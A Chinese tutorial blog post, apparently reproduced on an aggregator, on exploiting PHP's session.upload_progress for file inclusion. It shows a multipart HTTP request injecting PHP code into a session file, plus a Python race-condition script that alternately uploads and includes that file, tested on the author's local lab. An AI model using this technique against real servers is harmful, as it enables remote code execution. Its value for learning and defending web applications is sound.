利用session.upload_progress执行文件包含

news2024/11/24 8:47:29

1.session.upload_progress的作用:

        session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。

        默认情况下,session.upload_progress是开启的,我们发送一下以下数据包,可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=oupeng,所以Session文件将会自动创建。并且会生成由PHP_SESSION_UPLOAD_PROGRESS和<?php phpinfo(); ?>组成的文件内容。

POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=oupeng
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--

但是由于有session.upload_progress.cleanup的存在(默认是开启的),session会在被上传之后自动清除。

2.竞争

        为了解决这个问题,我们则需要竞争,在文件被清除前完成利用。所以我用到了一个python脚本。

import io
import requests
import threading

sessid = 'oupeng'


def t1(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            'http://127.0.0.1/include/demo.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
            files={'file': ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def t2(session):
    while True:
        response = session.get(f'http://127.0.0.1/include/1.php?file=C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}'))
        print(response.text)


with requests.session() as session:
    t1 = threading.Thread(target=t1, args=(session,))
    t1.daemon = True
    t1.start()

    t2(session)

按理来说这个脚本是没什么问题的。

代码编写遇到的问题:
第一个问题:编码问题
 UnicodeEncodeError: 'gbk' codec can't encode character '\xe4' in position 82201: illegal multibyte sequence,

        就是在这里的gbk编码可能无法对某些unicode字符进行编码导致报错,所以我在t2进程的response对象设置为utf-8编码

但是发现还是有编码问题:

nicode 编码错误: 'gbk' codec can't encode character '\xe4' in position 82145: illegal multibyte sequence

所以我直接导入了一个sys.stdout模块,这个模块作用就是标准输出,我写的就是标准输出使用utf-8

第二个问题:找不到临时文件

就是在我脚本上面写的路径找不到临时文件

<br />
<b>Warning</b>:  include(C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_oupeng): failed to open stream: No such file or directory in <b>C:\Study\phpstudy\phpstudy_pro\WWW\include\1.php</b> on line <b>2</b><br />
<br />

 不知道是哪一步出了问题,所以我在t1进程打印一下服务器的响应内容,运行后返回的就是200,没有问题。

print(response.text)

然后我想起来php.ini配置文件里面的upload_tmp_dir我配置的是在windows/temp下面,不知道是否需要改成脚本的路径,所以我尝试改了后重新运行。

upload_tmp_dir = "C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp"

 最后是包含成功了。

 

竞争的第二种方法:

除了用脚本竞争,也可以用burpsuite同时开两个intruder进程,一个进程一直上传文件,一个进程用作包含文件,最后也可以完成文件包含。

这是包含的进程

 

 这是上传的进程

 可以发现包含成功了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2091453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明 设置网关采集EtherCAT设备数据把采集的数据转成IEC61850协议转发给其…

08:Logic软件原理图添加元件

1.导入外部库文件 2.添加元件

Veeam Data Platform 12.2 发布下载,新增功能概览

Veeam Data Platform 12.2 发布下载&#xff0c;新增功能概览 面向混合云和多云的 云端、虚拟和物理环境 备份和恢复 监控和分析 恢复编排 请访问原文链接&#xff1a;https://sysin.org/blog/veeam-data-platform/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出…

飞致云开源社区月度动态报告(2024年8月)

自2023年6月起&#xff0c;中国领先的开源软件公司FIT2CLOUD飞致云以月度为单位发布《飞致云开源社区月度动态报告》&#xff0c;旨在向广大社区用户同步飞致云旗下系列开源软件的发展情况&#xff0c;以及当月主要的产品新版本发布、社区运营成果等相关信息。 飞致云开源大屏…

计算机组成原理:实验三数据通路组成实验

一、实验目的 1.将双端口通用寄存器堆和双端口存储器模块联机&#xff1b; 2.进一步熟悉计算机的数据通路&#xff1b; 3.掌握数字逻辑电路中故障的一般规律&#xff0c;以及排除故障的一般原则和方法&#xff1b; 4.锻炼分析问题与解决问题的能力&#xff0c;在出现故障的…

Windows 10远程桌面连接设置

0 Preface/Foreword 0.1 Remote desktop &#xff08;远程桌面&#xff09; Remote Desktop lets you connect to or control this PC from a remote device by using a Remote Desktop client (available for Windows, Android, iOS and macOS). Youll be able to work fro…

15年让爱轮回

15年前&#xff0c;运巧的命运齿轮因一位记者的稿件悄然转动&#xff0c;运巧这个名字&#xff0c;真的是命运的巧合&#xff0c;把她和邦尔骨科连接在了一起&#xff0c;她的人生轨迹因一家医院的善举发生了改变。那时的她&#xff0c;面临生活的重重困境&#xff0c;求学之路…

通义 AI 再次颠覆创作体验:一句话即可生成PPT

&#x1f195;通义 AI 再次颠覆创作体验&#xff1a;一句话即可生成PPT &#x1f389; 最近&#xff0c;科技圈再度被通义 AI 的最新功能刷屏&#xff01;8月30日&#xff0c;通义网页版正式上线了让无数办公族翘首以盼的“PPT 创作”功能。这一革新功能不仅为内容创作者带来了…

制作人偶动画Character Animator

每个人都可以通过表演开始制作动画。无需具备专业的操控知识。 入门模式提供示例人偶&#xff0c;可帮助您快速创建动画。选择人偶或导入人偶&#xff0c;然后添加或录制语音。 每个示例人偶都有一个完备的“控件”面板&#xff0c;其中包含多种姿势和情绪。 您可以通过选择“自…

【TDesign】如何修改CSS变量

Tdesign的组件想通过style定义样式没效果, 可以通过组件api文档修改, 组件提供了下列 CSS 变量&#xff0c;可用于自定义样式。 比如Cell, https://tdesign.tencent.com/miniprogram/components/cell?tabapi 提供了&#xff1a; –td-cell-left-icon-color 图标颜色 –td-cell…

【每日一题】【想通后的诈骗题】Wakey Wakey 牛客挑战赛76 A题 C++

牛客挑战赛76 A题 Wakey Wakey 题目背景 牛客挑战赛76 题目描述 样例 #1 样例输入 #1 2 2 3 2 10000 100000 2333样例输出 #1 1 2014备注 1 ≤ T ≤ 10 1\le T\le 10 1≤T≤10 1 ≤ n , m ≤ 1 0 5 1\le n,m \le 10^5 1≤n,m≤105 1 ≤ p ≤ 1 0 9 1\le p \le 10^9 1…

干货分享|分享一款自己常用的桌面整理神器 WPS桌面整理

问题&#xff1a;下面两张图是使用WPS桌面整理前后的对比。 使用方法&#xff1a; 1.打开WPS 2.点击桌面右下角WPS办公助手--选择桌面整理--整理桌面 注&#xff1a;桌面整理后&#xff0c;可以通过右键点击格子并根据个人喜好进行编辑。操作简便&#xff0c;大家自行尝试和探索…

线性代数|机器学习-P31完成一个秩为1的矩阵

文章目录 1. 大纲2. 填充秩1矩阵2.1 举例2.2 二分图 3. 循环卷积矩阵 1. 大纲 给定一个秩为1的矩阵A&#xff0c;m行&#xff0c;n列&#xff0c;如果在矩阵A中给定mn-1 个非零的值&#xff0c;请问如何填充这个矩阵A,使得矩阵A 填满&#xff1f;卷积和循环卷积矩阵&#xff0…

通过Amazon Bedrock上的Stability AI模型开发生成式AI应用(上篇)

快来用人工智能生成图像开发生成式AI图像应用&#xff01;今天小李哥就来介绍亚马逊云科技推出的国际前沿人工智能模型平台Amazon Bedrock上的Stability Diffusion模型。接下来我将带大家沉浸式实操Stability Difussion模型&#xff0c;带大家手把手体验该模型的每个特色功能&a…

MySQL-进阶篇-SQL优化(插入数据优化、主键优化、order by优化、group by优化、limit优化、count优化、update优化)

文章目录 1. 插入数据优化1.1 使用批量插入1.2 批量插入数据时手动提交事务1.3 按主键的顺序插入1.4 大批量插入数据时使用 load 指令 2. 主键优化2.1 数据组织方式2.2 页分裂2.3 页合并2.4 主键的设计原则2.4.1 降低主键的长度2.4.2 使用 AUTO_INCREMENT 自增主键2.4.3 尽量不…

Javascript归纳与总结——this指向及其改变、new关键字与原型链、异步、闭包和函数防抖与节流

this指向及其改变 普通函数在调用时&#xff0c;this为obj.obj1.fun(),this->obj1,箭头函数在声明定义时this->obj。 Javascript中bind、call、apply區別-CSDN博客 new关键字与原型链 从原型链视角解读VueComponent与Vue关系_vue中重要的原型链关系-CSDN博客 prototy…

开放式耳机是不是智商税?年度开放式耳机推荐2024产品揭秘

现在越来越多的人开始注重耳道健康&#xff0c;开放式耳机也越来越受大家的欢迎&#xff0c;因为这种开放式的设计是不进入耳道&#xff0c;这样能够保护我们的耳道健康&#xff0c;大大减少细菌的滋生。 但是就会有小伙伴说了&#xff0c;那开放式耳机是不是智商税呢&#xff…

iPhone 16 系列和多款新品将亮相,苹果发布会定档 9 月 10 日|TodayAI

苹果公司&#xff08;Apple&#xff09;已正式宣布&#xff0c;将于 2024 年 9 月 9 日举行年度发布会&#xff0c;地点定于苹果园区的史蒂夫乔布斯剧院。此次发布会的主题为 “It’s Glowtime”。发布会预计将带来众多硬件更新和新产品&#xff0c;最受关注的无疑是 iPhone 16…

我的世界实体与生物ID表

猪 Pig JE1.0   Pig 1.7  minecraft:pig 1.11  绵羊 Sheep 羊 JE1.0   Sheep 1.7  minecraft:sheep 1.11  牛 Cow JE1.0   Cow 1.7  minecraft:cow 1.11  鸡 Chicken JE1.0   Chicken 1.7  minecraft:chicken 1.11  鱿鱼 Squid JE1.0   Squid 1.7  m…